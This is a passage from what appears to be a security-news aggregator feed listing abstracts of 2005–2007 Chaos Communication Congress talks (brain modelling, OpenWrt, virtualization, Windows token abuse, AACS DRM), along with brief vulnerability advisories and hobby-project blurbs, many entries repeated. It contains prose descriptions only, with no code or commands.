methodological pitfall. To make a big progress in reverse engineering (hacking!) B(0) and, consequently, in simulating and understanding a broad range of nontrivial cognitive phenomena in system (W,D,B(t)) it is critically important to develop a unified integrated approach to brain modeling and cognitive modeling! The talk discusses the following fundamental problems that must be addressed by the above unified integrated approach: 1. What is working memory and mental imagery? How, can our brain learn to imagine a process of writing and erasing symbols on a sheet of paper, or to move chess pieces on an imaginary chess board? 2. Importantly, the behavior from item 1, requires the highest general level of computing power (Chomsky’s type 0). How can a neural network model learn to perform behavior of type 0? It is easy to show that the error minimization learning algorithms employed in traditional neural network models cannot answer the above question. (These algorithms cannot be use to learn behavior higher than type 3!) 3. An experienced chess player can mentally play a combinatorial number of different chess parties. At the same time, he/she can recall the real chess parties he/she played. How can our brain combine these two properties? 4. The problem of pattern recognition is traditionally treated as a problem of optimal classification. This general approach was called into question by neurophysiologists Zopf Jr. (1962) in his paper entitled "Attitude and Context." (The paper was largely ignored!) Zopf argued that, in the case of the human brain, there is no such thing as an optimal context-independent classification. The fact is that we can treat a given object as a member of a combinatorial number of different classes depending on our attitude (mental set). What is mental set? How can a computing system with a linearly growing size of knowledge (software) dynamically reconfigure this knowledge to match a combinatorial number of different contexts?
-
21:47
»
SecDocs
Authors:
Victor Eliashberg Tags:
brain Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A representation of an untrained human brain, call it B(0), is encoded in the human genome -- its size can hardly exceed a few megabytes. In contrast, a representation of a trained brain, B(t), after big enough time t (say t=20years) must be very long (terabytes?) – it must include a representation of the brain's individual experience. How can a "simple" B(0) change into an extremely complex B(t) in the course of learning? Consider a cognitive system (W,D,B), where W is an external world, D is a set of human-like sensory and motor devices, and B is a control system simulating the work of human nervous system (for simplicity, B will be referred to as the brain). System (D,B) can be thought of as a human-like robot. Let us divide (W,D,B) into two subsystems: the brain, B, and the external world, W, as it appears to the brain via devices D – subsystem (W,D). In this representation, both subsystems can be treated as abstract "machines," the inputs of B being the outputs of (W,D), and vice versa. Let B(t) denote the state of B at moment t, where t=0 is the beginning of learning. The talk promotes the following general propositions: There must exist a relatively short formal representation of B(0). This representation is encoded, in some form, in the human genome and can be short enough to fit into a single floppy disk (megabytes). Any formal representation of B(t) with a big t, say t=20years, must be very long (terabytes) -- B(t) must include a representation of a very large individual experience. Let B(t)=(H(t),S(t)), where H(t) is a representation of “brain hardware” (e.g., in the form of a neural network model), and S(t) is a representation of the “brain software” (e.g., in the form of a set of synaptic gains). The hardware H(t) is close to H(0) -- the main difference is between initial software S(0) and the software S(t) created in the course of learning. The right methodology should be directed at reverse engineering B(0)=(H(0), S(0)). It is practically impossible to find and understand S(t) without first finding S(0) and understanding the process of learning that transforms S(0) into S(t). To find B(0) one needs to rely on a combination of psychological and neurobiological data. Ignoring psychological data leads to the, so-called, "mindless brains," whereas ignoring neurobiological data leads to the, so-called, "brainless minds."Traditional Artificial Neural Networks (ANN) and Artificial Intelligence (AI) research had fallen pray to this methodological pitfall. To make a big progress in reverse engineering (hacking!) B(0) and, consequently, in simulating and understanding a broad range of nontrivial cognitive phenomena in system (W,D,B(t)) it is critically important to develop a unified integrated approach to brain modeling and cognitive modeling! The talk discusses the following fundamental problems that must be addressed by the above unified integrated approach: 1. What is working memory and mental imagery? How, can our brain learn to imagine a process of writing and erasing symbols on a sheet of paper, or to move chess pieces on an imaginary chess board? 2. Importantly, the behavior from item 1, requires the highest general level of computing power (Chomsky’s type 0). How can a neural network model learn to perform behavior of type 0? It is easy to show that the error minimization learning algorithms employed in traditional neural network models cannot answer the above question. (These algorithms cannot be use to learn behavior higher than type 3!) 3. An experienced chess player can mentally play a combinatorial number of different chess parties. At the same time, he/she can recall the real chess parties he/she played. How can our brain combine these two properties? 4. The problem of pattern recognition is traditionally treated as a problem of optimal classification. This general approach was called into question by neurophysiologists Zopf Jr. (1962) in his paper entitled "Attitude and Context." (The paper was largely ignored!) Zopf argued that, in the case of the human brain, there is no such thing as an optimal context-independent classification. The fact is that we can treat a given object as a member of a combinatorial number of different classes depending on our attitude (mental set). What is mental set? How can a computing system with a linearly growing size of knowledge (software) dynamically reconfigure this knowledge to match a combinatorial number of different contexts?
-
21:47
»
SecDocs
Authors:
Victor Eliashberg Tags:
brain Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: A representation of an untrained human brain, call it B(0), is encoded in the human genome -- its size can hardly exceed a few megabytes. In contrast, a representation of a trained brain, B(t), after big enough time t (say t=20years) must be very long (terabytes?) – it must include a representation of the brain's individual experience. How can a "simple" B(0) change into an extremely complex B(t) in the course of learning? Consider a cognitive system (W,D,B), where W is an external world, D is a set of human-like sensory and motor devices, and B is a control system simulating the work of human nervous system (for simplicity, B will be referred to as the brain). System (D,B) can be thought of as a human-like robot. Let us divide (W,D,B) into two subsystems: the brain, B, and the external world, W, as it appears to the brain via devices D – subsystem (W,D). In this representation, both subsystems can be treated as abstract "machines," the inputs of B being the outputs of (W,D), and vice versa. Let B(t) denote the state of B at moment t, where t=0 is the beginning of learning. The talk promotes the following general propositions: There must exist a relatively short formal representation of B(0). This representation is encoded, in some form, in the human genome and can be short enough to fit into a single floppy disk (megabytes). Any formal representation of B(t) with a big t, say t=20years, must be very long (terabytes) -- B(t) must include a representation of a very large individual experience. Let B(t)=(H(t),S(t)), where H(t) is a representation of “brain hardware” (e.g., in the form of a neural network model), and S(t) is a representation of the “brain software” (e.g., in the form of a set of synaptic gains). The hardware H(t) is close to H(0) -- the main difference is between initial software S(0) and the software S(t) created in the course of learning. The right methodology should be directed at reverse engineering B(0)=(H(0), S(0)). It is practically impossible to find and understand S(t) without first finding S(0) and understanding the process of learning that transforms S(0) into S(t). To find B(0) one needs to rely on a combination of psychological and neurobiological data. Ignoring psychological data leads to the, so-called, "mindless brains," whereas ignoring neurobiological data leads to the, so-called, "brainless minds."Traditional Artificial Neural Networks (ANN) and Artificial Intelligence (AI) research had fallen pray to this methodological pitfall. To make a big progress in reverse engineering (hacking!) B(0) and, consequently, in simulating and understanding a broad range of nontrivial cognitive phenomena in system (W,D,B(t)) it is critically important to develop a unified integrated approach to brain modeling and cognitive modeling! The talk discusses the following fundamental problems that must be addressed by the above unified integrated approach: 1. What is working memory and mental imagery? How, can our brain learn to imagine a process of writing and erasing symbols on a sheet of paper, or to move chess pieces on an imaginary chess board? 2. Importantly, the behavior from item 1, requires the highest general level of computing power (Chomsky’s type 0). How can a neural network model learn to perform behavior of type 0? It is easy to show that the error minimization learning algorithms employed in traditional neural network models cannot answer the above question. (These algorithms cannot be use to learn behavior higher than type 3!) 3. An experienced chess player can mentally play a combinatorial number of different chess parties. At the same time, he/she can recall the real chess parties he/she played. How can our brain combine these two properties? 4. The problem of pattern recognition is traditionally treated as a problem of optimal classification. This general approach was called into question by neurophysiologists Zopf Jr. (1962) in his paper entitled "Attitude and Context." (The paper was largely ignored!) Zopf argued that, in the case of the human brain, there is no such thing as an optimal context-independent classification. The fact is that we can treat a given object as a member of a combinatorial number of different classes depending on our attitude (mental set). What is mental set? How can a computing system with a linearly growing size of knowledge (software) dynamically reconfigure this knowledge to match a combinatorial number of different contexts?
-
-
12:47
»
SecDocs
Authors:
Felix Fietkau Tags:
router Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: OpenWrt is a Linux distribution for embedded Wireless LAN routers. In this lecture I'm going to introduce OpenWrt and show you how you can use and customize it for your own projects. OpenWrt is basically a complete Linux distribution designed to work within the space constraints of average wireless routers like the Linksys WRT54G or the ASUS WL-500g. Since April 2005 the build system has been completely rewritten to support a large repository of packages that are built automatically and to make it easy to port it to other router platforms in the future. That makes it useful for creating custom solutions involving wireless networking, like a Hotspot service complete with authentication and billing or a small Voice over IP server (with Asterisk). I'd like to present the structure of the OpenWrt base system and show you how you can create your own packages and firmware images with the tools that we provide (Image Builder, SDK and the build system itself).
-
12:47
»
SecDocs
Authors:
Felix Fietkau Tags:
router Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: OpenWrt is a Linux distribution for embedded Wireless LAN routers. In this lecture I'm going to introduce OpenWrt and show you how you can use and customize it for your own projects. OpenWrt is basically a complete Linux distribution designed to work within the space constraints of average wireless routers like the Linksys WRT54G or the ASUS WL-500g. Since April 2005 the build system has been completely rewritten to support a large repository of packages that are built automatically and to make it easy to port it to other router platforms in the future. That makes it useful for creating custom solutions involving wireless networking, like a Hotspot service complete with authentication and billing or a small Voice over IP server (with Asterisk). I'd like to present the structure of the OpenWrt base system and show you how you can create your own packages and firmware images with the tools that we provide (Image Builder, SDK and the build system itself).
-
12:47
»
SecDocs
Authors:
Felix Fietkau Tags:
router Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: OpenWrt is a Linux distribution for embedded Wireless LAN routers. In this lecture I'm going to introduce OpenWrt and show you how you can use and customize it for your own projects. OpenWrt is basically a complete Linux distribution designed to work within the space constraints of average wireless routers like the Linksys WRT54G or the ASUS WL-500g. Since April 2005 the build system has been completely rewritten to support a large repository of packages that are built automatically and to make it easy to port it to other router platforms in the future. That makes it useful for creating custom solutions involving wireless networking, like a Hotspot service complete with authentication and billing or a small Voice over IP server (with Asterisk). I'd like to present the structure of the OpenWrt base system and show you how you can create your own packages and firmware images with the tools that we provide (Image Builder, SDK and the build system itself).
-
-
21:38
»
SecDocs
Authors:
Felix Fietkau Tags:
router Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: OpenWrt is a Linux distribution for embedded Wireless LAN routers. In this lecture I'm going to introduce OpenWrt and show you how you can use and customize it for your own projects. OpenWrt is basically a complete Linux distribution designed to work within the space constraints of average wireless routers like the Linksys WRT54G or the ASUS WL-500g. Since April 2005 the build system has been completely rewritten to support a large repository of packages that are built automatically and to make it easy to port it to other router platforms in the future. That makes it useful for creating custom solutions involving wireless networking, like a Hotspot service complete with authentication and billing or a small Voice over IP server (with Asterisk). I'd like to present the structure of the OpenWrt base system and show you how you can create your own packages and firmware images with the tools that we provide (Image Builder, SDK and the build system itself).
-
20:07
»
Packet Storm Security Advisories
Ubuntu Security Notice 1556-1 - Chen Haogang discovered an integer overflow that could result in memory corruption. A local unprivileged user could use this to crash the system. A flaw was found in the Linux kernel's Reliable Datagram Sockets (RDS) protocol implementation. A local, unprivileged user could use this flaw to cause a denial of service. Some errors where discovered in the Linux kernel's UDF file system, which is used to mount some CD-ROMs and DVDs. An unprivileged local user could use these flaws to crash the system. Various other issues were also addressed.
-
20:07
»
Packet Storm Security Recent Files
Ubuntu Security Notice 1556-1 - Chen Haogang discovered an integer overflow that could result in memory corruption. A local unprivileged user could use this to crash the system. A flaw was found in the Linux kernel's Reliable Datagram Sockets (RDS) protocol implementation. A local, unprivileged user could use this flaw to cause a denial of service. Some errors where discovered in the Linux kernel's UDF file system, which is used to mount some CD-ROMs and DVDs. An unprivileged local user could use these flaws to crash the system. Various other issues were also addressed.
-
20:07
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1556-1 - Chen Haogang discovered an integer overflow that could result in memory corruption. A local unprivileged user could use this to crash the system. A flaw was found in the Linux kernel's Reliable Datagram Sockets (RDS) protocol implementation. A local, unprivileged user could use this flaw to cause a denial of service. Some errors where discovered in the Linux kernel's UDF file system, which is used to mount some CD-ROMs and DVDs. An unprivileged local user could use these flaws to crash the system. Various other issues were also addressed.
-
7:57
»
Hack a Day
One of the biggest expenses when moving to a kegging system for your homebrew beer is finding a way to keep it cold. [Sanchmo] took a traditional route of using a chest freezer, but a bit of extra effort made the ordinary looking appliance into a 5 tap showpiece in his livingroom. Home brewing is [...]
-
-
21:28
»
SecDocs
Authors:
Ulrich von Zadow Tags:
technology Event:
Chaos Communication Congress 22th (22C3) 2005 Abstract: Using Python, a large variety of media-oriented systems can be scripted with very little effort. The talk will explore the available libraries for 2d and 3d graphics, video and sound and describe real-world experiences in deploying these systems. Multimedia on linux has made great progress. A few years ago, video support was very limited, low-latency-audio was impossible, getting jitter-free performance was a nightmare and fonts were rendered with a quality that made any designer cringe. This has changed. One language that has been used successfully in many multimedia systems is python. The talk will look at what is required to set up a multimedia system with python. While the focus will be on installations in public or semi-public areas (museums, showrooms, the c-base), many of the techniques can be used in other areas as well. Most of the talk will cover Linux-based systems, with some references to the possibilities of Mac OS X systems.
-
13:01
»
Hack a Day
When you move you generally load up everything you own into one truck. If your entire life is ever going to get ripped off, this is probably when it’s going to happen. To guard against the threat [Tim Flint] built his own alarm for a moving truck. If someone opens the door on the truck [...]
-
-
21:48
»
SecDocs
Authors:
Michael Steil Tags:
virtualization VMware Event:
Chaos Communication Congress 23th (23C3) 2006 Abstract: Virtualization is rocket science. In cooperation with the host operating system, VMware takes over complete control of the machine hundreds of times a second, handles pagetables completely manually, and may chose to wire (make-non-pageable) as much memory as it chooses. This talk explains why it still works. In 1999, VMware was the first virtualization solution for x86. 7 years later, there are only two competitors: Microsoft with VirtualPC (by dynarec genius Eric Traut of Apple DR fame) and that obscure Russian company that seems to offer the same product unter 3 different names (SVISTA, 2ON2, Parallels). The open source plex86 by Bochs creator Kevin Lawton failed. All this suggests that x86 virtualization is rocket science. This talk first summarizes some basic operating system features, like scheduling, managing page tables, and providing a system call interface, in order to have a common basis that can be talked about. The main part is about the tricks a conventional virtualization solution has to apply to run the guest operating system as a user mode process: The virtual machine monitor (VMM) has to set up address spaces for guest code, handle two-level pagetables, switch between the host and the guest(s), trap I/O accesses, and help cooperate in memory management between the host and the guest(s). The third part of the talk explains why the x86 architecture is not strictly virtualizable, what tricks VMware, VirtualPC and Parallels use to still make it possible, and what in what way Intel VT (Vanderpool) and AMD SVN (Pacifica) help to make x86 virtualization easier or possibly more efficient.
-
21:48
»
SecDocs
Authors:
Michael Steil Tags:
virtualization VMware Event:
Chaos Communication Congress 23th (23C3) 2006 Abstract: Virtualization is rocket science. In cooperation with the host operating system, VMware takes over complete control of the machine hundreds of times a second, handles pagetables completely manually, and may chose to wire (make-non-pageable) as much memory as it chooses. This talk explains why it still works. In 1999, VMware was the first virtualization solution for x86. 7 years later, there are only two competitors: Microsoft with VirtualPC (by dynarec genius Eric Traut of Apple DR fame) and that obscure Russian company that seems to offer the same product unter 3 different names (SVISTA, 2ON2, Parallels). The open source plex86 by Bochs creator Kevin Lawton failed. All this suggests that x86 virtualization is rocket science. This talk first summarizes some basic operating system features, like scheduling, managing page tables, and providing a system call interface, in order to have a common basis that can be talked about. The main part is about the tricks a conventional virtualization solution has to apply to run the guest operating system as a user mode process: The virtual machine monitor (VMM) has to set up address spaces for guest code, handle two-level pagetables, switch between the host and the guest(s), trap I/O accesses, and help cooperate in memory management between the host and the guest(s). The third part of the talk explains why the x86 architecture is not strictly virtualizable, what tricks VMware, VirtualPC and Parallels use to still make it possible, and what in what way Intel VT (Vanderpool) and AMD SVN (Pacifica) help to make x86 virtualization easier or possibly more efficient.
-
-
21:30
»
SecDocs
Authors:
Michael Steil Tags:
virtualization VMware Event:
Chaos Communication Congress 23th (23C3) 2006 Abstract: Virtualization is rocket science. In cooperation with the host operating system, VMware takes over complete control of the machine hundreds of times a second, handles pagetables completely manually, and may chose to wire (make-non-pageable) as much memory as it chooses. This talk explains why it still works. In 1999, VMware was the first virtualization solution for x86. 7 years later, there are only two competitors: Microsoft with VirtualPC (by dynarec genius Eric Traut of Apple DR fame) and that obscure Russian company that seems to offer the same product unter 3 different names (SVISTA, 2ON2, Parallels). The open source plex86 by Bochs creator Kevin Lawton failed. All this suggests that x86 virtualization is rocket science. This talk first summarizes some basic operating system features, like scheduling, managing page tables, and providing a system call interface, in order to have a common basis that can be talked about. The main part is about the tricks a conventional virtualization solution has to apply to run the guest operating system as a user mode process: The virtual machine monitor (VMM) has to set up address spaces for guest code, handle two-level pagetables, switch between the host and the guest(s), trap I/O accesses, and help cooperate in memory management between the host and the guest(s). The third part of the talk explains why the x86 architecture is not strictly virtualizable, what tricks VMware, VirtualPC and Parallels use to still make it possible, and what in what way Intel VT (Vanderpool) and AMD SVN (Pacifica) help to make x86 virtualization easier or possibly more efficient.
-
-
4:01
»
Hack a Day
We’re not sure why this use didn’t immediately come to mind when we got our hands on a Raspberry Pi board, but the hardware is almost perfect as a PBX system. PBX, or Private Branch Exchange, is basically an in-house phone system. This guide which [Ward] put together shows you how to do some interesting [...]
-
-
5:01
»
Hack a Day
The vegetables will be alive when [Dillon Nichols] returns from vacation thanks to this automatic watering controller that he built. This is the second iteration of the project, and deals mainly with replacing the electronics and UI of the controller itself. He detailed the hardware used for watering in a previous post. He plumbed in [...]
-
-
17:00
»
SecuriTeam
Cisco Carrier Routing System is prone to a security-bypass vulnerability.
-
17:00
»
SecuriTeam
Cisco Wide Area Application Services is prone to a remote information-disclosure vulnerability
-
17:00
»
SecuriTeam
Cisco Unified Computing System is prone to multiple remote denial-of-service vulnerabilities.
-
-
10:01
»
Hack a Day
Turns out you don’t need to be Superman to see through walls. Researchers at University College London have developed a way to passively use WiFi as a radar system. Unlike active radar systems (which themselves send out radio waves and listen for them to echo back), passive radar systems cannot be detected. The system is [...]
-
-
14:55
»
SecDocs
Authors:
Andreas Krennmair Tags:
network secure development Event:
Chaos Communication Congress 23th (23C3) 2006 Abstract: This talk describes a software system to securely execute predefined commands over an untrusted network, analyzes the potential attack vectors against this system and defines countermeasures to make it impossible for an attacker to use these attack vectors. This talk describes a software system to securely execute predefined commands over an untrusted network, using an authentication method and a measure of transport layer security. This software system - called "trapdoor2" - is used as an example to describe a number of ''state of the art'' programming techniques as countermeasures against potential attacks. Techniques that will be described and shown in detail in the presentation will be privilege separation, strict enforcement of the ''principle of least privileges'', preventing attacks against the used SSL/TLS implementation and defeating Denial of Service attacks by employing a simple yet efficient connection limiting algorithm.
-
14:53
»
SecDocs
Authors:
Andreas Krennmair Tags:
network secure development Event:
Chaos Communication Congress 23th (23C3) 2006 Abstract: This talk describes a software system to securely execute predefined commands over an untrusted network, analyzes the potential attack vectors against this system and defines countermeasures to make it impossible for an attacker to use these attack vectors. This talk describes a software system to securely execute predefined commands over an untrusted network, using an authentication method and a measure of transport layer security. This software system - called "trapdoor2" - is used as an example to describe a number of ''state of the art'' programming techniques as countermeasures against potential attacks. Techniques that will be described and shown in detail in the presentation will be privilege separation, strict enforcement of the ''principle of least privileges'', preventing attacks against the used SSL/TLS implementation and defeating Denial of Service attacks by employing a simple yet efficient connection limiting algorithm.
-
14:52
»
SecDocs
Authors:
Andreas Krennmair Tags:
network secure development Event:
Chaos Communication Congress 23th (23C3) 2006 Abstract: This talk describes a software system to securely execute predefined commands over an untrusted network, analyzes the potential attack vectors against this system and defines countermeasures to make it impossible for an attacker to use these attack vectors. This talk describes a software system to securely execute predefined commands over an untrusted network, using an authentication method and a measure of transport layer security. This software system - called "trapdoor2" - is used as an example to describe a number of ''state of the art'' programming techniques as countermeasures against potential attacks. Techniques that will be described and shown in detail in the presentation will be privilege separation, strict enforcement of the ''principle of least privileges'', preventing attacks against the used SSL/TLS implementation and defeating Denial of Service attacks by employing a simple yet efficient connection limiting algorithm.
-
5:01
»
Hack a Day
Researchers at Georgia Tech have developed a biologically inspired system to control cameras on board robots that simulate the Saccadic optokinetic system of the human eye. Its similarity to the muscular system of the human eye is uncanny. Joshua Schultz, a Ph.D candidate, says that this system has been made possible in part to piezoelectric [...]
-
-
8:13
»
SecDocs
Authors:
Christian Tan Tags:
music Event:
Chaos Communication Congress 23th (23C3) 2006 Abstract: Todays music industry has created a system that is unfair for both the musicians and the music lover. Combined with an agressive prosecution of downloaders, this causes a very strong polarisation between the industry on one hand and music lovers on the other. Nobody wins. We at dying giraffe recordings are trying to break this impasse and create a system where musicans are rewarded for their work and talent, and where music lovers can enjoy music in a fair way. The key element in this is a breakaway from traditional copyright laws and the use of the creative commons license. This combined with new technologies in the field of internet, audio recording and compression gives us the potency to change te system. Thus building a fighting force of extraordinary magnitude we believe that we can beat the system. Todays music market is a sick place. Consider this: Musicians often do not get paid for cd sales, only for tours and merchandise. They have to pay the labels for promotion and recording, and often go bankrupt in spite of selling millions. Their music is checked by software for their hitpotential, and if it's potential is limited, the will not be signed. Music that is produced, is compressed to death, so dynamics are effectively eliminated. Money that is earned by copy levy only goed to the big labels, if at all. Consumers are getting sued for using p2p, even when they do not own a computer, are dead, or both. IF they buy cd's, the cd's are subject to price fixing, making them ridiculously expensive. Those CD's are protected by DRM or copy protection which makes them unable to be played on a computer, a dvd player, car audio or an mp3 player. So why buy cd's at all? Now we have p2p, with which the music lover can download music for free, but illegally. There are other legal download means, like itunesMS but they have DRM. So what do we do now? We started a label, dying giraffe recordings. Where we try to keep our overhad low, where we do the cherry picking, give tips for homerecording, use the creative commons license, and use pdocasts and streaming for promotion, and have connections to cd distribution companies and concert halls. Of course we encounter a lot of problems, like limited recording facilities, getting money for airplay and form the ocpy levy, cd manufacturing, the traditional industry and organisation fighting us, shady distributors, psychotic musicians and promotion. For some of these problems we do not have a solution yet, for some we do have some suggestions. We would like to invite other people to think with us, and to build with us a network of netlabels to beat the system.
-
8:05
»
SecDocs
Authors:
Christian Tan Tags:
music Event:
Chaos Communication Congress 23th (23C3) 2006 Abstract: Todays music industry has created a system that is unfair for both the musicians and the music lover. Combined with an agressive prosecution of downloaders, this causes a very strong polarisation between the industry on one hand and music lovers on the other. Nobody wins. We at dying giraffe recordings are trying to break this impasse and create a system where musicans are rewarded for their work and talent, and where music lovers can enjoy music in a fair way. The key element in this is a breakaway from traditional copyright laws and the use of the creative commons license. This combined with new technologies in the field of internet, audio recording and compression gives us the potency to change te system. Thus building a fighting force of extraordinary magnitude we believe that we can beat the system. Todays music market is a sick place. Consider this: Musicians often do not get paid for cd sales, only for tours and merchandise. They have to pay the labels for promotion and recording, and often go bankrupt in spite of selling millions. Their music is checked by software for their hitpotential, and if it's potential is limited, the will not be signed. Music that is produced, is compressed to death, so dynamics are effectively eliminated. Money that is earned by copy levy only goed to the big labels, if at all. Consumers are getting sued for using p2p, even when they do not own a computer, are dead, or both. IF they buy cd's, the cd's are subject to price fixing, making them ridiculously expensive. Those CD's are protected by DRM or copy protection which makes them unable to be played on a computer, a dvd player, car audio or an mp3 player. So why buy cd's at all? Now we have p2p, with which the music lover can download music for free, but illegally. There are other legal download means, like itunesMS but they have DRM. So what do we do now? We started a label, dying giraffe recordings. Where we try to keep our overhad low, where we do the cherry picking, give tips for homerecording, use the creative commons license, and use pdocasts and streaming for promotion, and have connections to cd distribution companies and concert halls. Of course we encounter a lot of problems, like limited recording facilities, getting money for airplay and form the ocpy levy, cd manufacturing, the traditional industry and organisation fighting us, shady distributors, psychotic musicians and promotion. For some of these problems we do not have a solution yet, for some we do have some suggestions. We would like to invite other people to think with us, and to build with us a network of netlabels to beat the system.
-
-
19:34
»
Packet Storm Security Exploits
This Metasploit module uploads an executable file to the victim system, creates a share containing that executable, creates a remote service on each target system using a UNC path to that file, and finally starts the service(s). The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash.
-
19:34
»
Packet Storm Security Recent Files
This Metasploit module uploads an executable file to the victim system, creates a share containing that executable, creates a remote service on each target system using a UNC path to that file, and finally starts the service(s). The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash.
-
19:34
»
Packet Storm Security Misc. Files
This Metasploit module uploads an executable file to the victim system, creates a share containing that executable, creates a remote service on each target system using a UNC path to that file, and finally starts the service(s). The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash.
-
14:01
»
Hack a Day
We’ve been seeing quite a few home security hacks around here lately and we think they’re a lot of fun. This is one that we missed a few weeks ago. [Sharpk] used his existing home security system as inspiration for a completely DIY security system. Above you can see the tiny models he used to [...]
-
-
17:16
»
Packet Storm Security Recent Files
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
17:16
»
Packet Storm Security Tools
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
17:16
»
Packet Storm Security Misc. Files
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
-
13:01
»
Hack a Day
This simple device, paired with some creating code will let you become your own home security monitoring service. It’s called the PhantomLink and [Adam] started the project as a commercial venture. He recently decided to go open source with the hardware and will soon be posting a guide on how to program your own web [...]
-
-
18:58
»
Packet Storm Security Advisories
Secunia Security Advisory - A vulnerability has been reported in Symantec Backup Exec System Recovery 2010 and Symantec System Recovery 2011, which can be exploited by malicious people to compromise a user's system.
-
-
21:27
»
SecDocs
Authors:
Luke Jennings Tags:
Windows Event:
Chaos Communication Congress 24th (24C3) 2007 Abstract: The defense techniques employed by large software manufacturers are getting better. This is particularly true of Microsoft who have improved the security of the software they make tremendously since their Trustworthy Computing initiative. Gone are the days of being able to penetrate any Microsoft system by firing off the RPC-DCOM exploit. The consequence of this is that post-exploitation has become increasingly important in order to "squeeze all the juice" out of every compromised system. Windows access tokens are integral to Microsoft's concept of single sign-on in an active directory environment. Compromising a system that has privileged tokens can allow for both local and domain privilege escalation. This talk aims to demonstrate just how devastating attacks of this form can be and introduces a new, open-source tool for penetration testers that provides powerful post-exploitation options for abusing tokens found residing on compromised systems. The functionality of this tool is also provided as a Meterpreter module for the Metasploit Framework to allow its use to be combined with the existing power of Metasploit. In addition, a complete methodology will be given for its use in penetration testing. This will include identifying tokens that can be used to access an otherwise secure target and then locating other systems that may house those tokens. A new vulnerability will also be revealed that appears to have been silently patched by Microsoft. The impact of this vulnerability is that privileged tokens can be found on systems long after the corresponding users have logged off. The talk will focus on introducing the audience to the concept of windows access tokens and how they are utilised within windows with a particular focus on their importance within windows forest/domain environments. The talk will then move on to demonstrate how their functionality can be abused for powerful post-exploitation options, culminating in a live demo of my tool being used to escalate privileges significantly after system compromises both locally and across a domain. Interesting, important and unexpected nuances of how these tokens behave will then be discussed to demonstrate how risk could be unknowingly exposed even by those who think they already have a grasp of these issues. The talk will then move focus towards the advantages of combining these techniques with the existing post-exploitation focussed meterpreter, which comes with the metasploit framework. Another live demo will then be given, showing how these techniques can be utilised from within a meterpreter session after having exploited a system with metasploit. The focus of the talk will then be shifted again to discuss how systems housing tokens with desirable privileges can be located on large networks, such that penetration attempts can be focussed on these. A live demo will be given of how this can achieved with my tool and then it will be discussed how these techniques can be incorporated into standard penetration testing methodologies such that it will often be possible to expose gaping holes in networks that would have otherwise been considered relatively secure. Finally, defence strategies will be dicussed in order for the audience to understand how best to defend themselves against these attacks.
-
-
13:33
»
SecDocs
Authors:
Peter Eckersley Tags:
cracking Event:
Chaos Communication Congress 24th (24C3) 2007 Abstract: AACS is the DRM system used on HD-DVD and Blu-Ray discs. It is one of the most sophisticated DRM deployments to date. It includes around twelve different kinds of keys (in fact, even counting the different kinds of keys is non-trivial), three optional watermarking schemes, and four revocation mechanisms (for keys, hardware, players, and certain disc images). AACS has been repeatedly cracked. Its revocation mechanisms are intended to ensure that none of these cracks is permanent, but the evidence so far suggests that crackers will continue to win against it. The talk will explain the many types of AACS keys, how the system fits together, why it will keep breaking, and what Hollywood gains by using it anyway. We will also consider whether it is possible for DRM to be any more evil. Is BD+ (an optional, Blu-Ray only DRM system) going to be worse for users? Will future generations of DRM be worse? Or, if the free world can survive AACS, can it survive anything?
-
13:29
»
SecDocs
Authors:
Peter Eckersley Tags:
cracking Event:
Chaos Communication Congress 24th (24C3) 2007 Abstract: AACS is the DRM system used on HD-DVD and Blu-Ray discs. It is one of the most sophisticated DRM deployments to date. It includes around twelve different kinds of keys (in fact, even counting the different kinds of keys is non-trivial), three optional watermarking schemes, and four revocation mechanisms (for keys, hardware, players, and certain disc images). AACS has been repeatedly cracked. Its revocation mechanisms are intended to ensure that none of these cracks is permanent, but the evidence so far suggests that crackers will continue to win against it. The talk will explain the many types of AACS keys, how the system fits together, why it will keep breaking, and what Hollywood gains by using it anyway. We will also consider whether it is possible for DRM to be any more evil. Is BD+ (an optional, Blu-Ray only DRM system) going to be worse for users? Will future generations of DRM be worse? Or, if the free world can survive AACS, can it survive anything?
-
13:29
»
SecDocs
Authors:
Peter Eckersley Tags:
cracking Event:
Chaos Communication Congress 24th (24C3) 2007 Abstract: AACS is the DRM system used on HD-DVD and Blu-Ray discs. It is one of the most sophisticated DRM deployments to date. It includes around twelve different kinds of keys (in fact, even counting the different kinds of keys is non-trivial), three optional watermarking schemes, and four revocation mechanisms (for keys, hardware, players, and certain disc images). AACS has been repeatedly cracked. Its revocation mechanisms are intended to ensure that none of these cracks is permanent, but the evidence so far suggests that crackers will continue to win against it. The talk will explain the many types of AACS keys, how the system fits together, why it will keep breaking, and what Hollywood gains by using it anyway. We will also consider whether it is possible for DRM to be any more evil. Is BD+ (an optional, Blu-Ray only DRM system) going to be worse for users? Will future generations of DRM be worse? Or, if the free world can survive AACS, can it survive anything?
-
-
9:25
»
SecDocs
Authors:
Jens Kaufmann Tags:
medical Event:
